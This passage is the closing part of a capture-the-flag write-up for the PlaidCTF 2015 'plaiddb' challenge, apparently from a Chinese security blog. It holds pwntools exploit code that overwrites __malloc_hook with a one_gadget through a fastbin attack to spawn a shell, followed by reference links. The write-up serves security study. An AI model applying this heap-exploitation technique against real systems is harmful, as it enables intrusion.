free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
one_gadgets = [0x46428, 0x4647c, 0xe9415, 0xea36d]
one_gadget = libc_base + one_gadgets[1]
info('one_gadget = ' + hex(one_gadget))
PUT('fastatk', ('A' * 0x58 + p64(0x71) + p64(malloc_hook - 0x23)).ljust(0x100, '\x00'))
PUT('X', 'X' * 0x68)
#raw_input('@')
PUT('atk', ('A' * 0x13 + p64(one_gadget)).ljust(0x68, '\x00'))
DEL('2')
p.interactive()
References
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#2-plaidctf-2015-plaiddb
https://www.youtube.com/watch?v=jEHgm7S58N8
http://winesap.logdown.com/posts/261369-plaid-ctf-2015-plaiddb-writeup
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!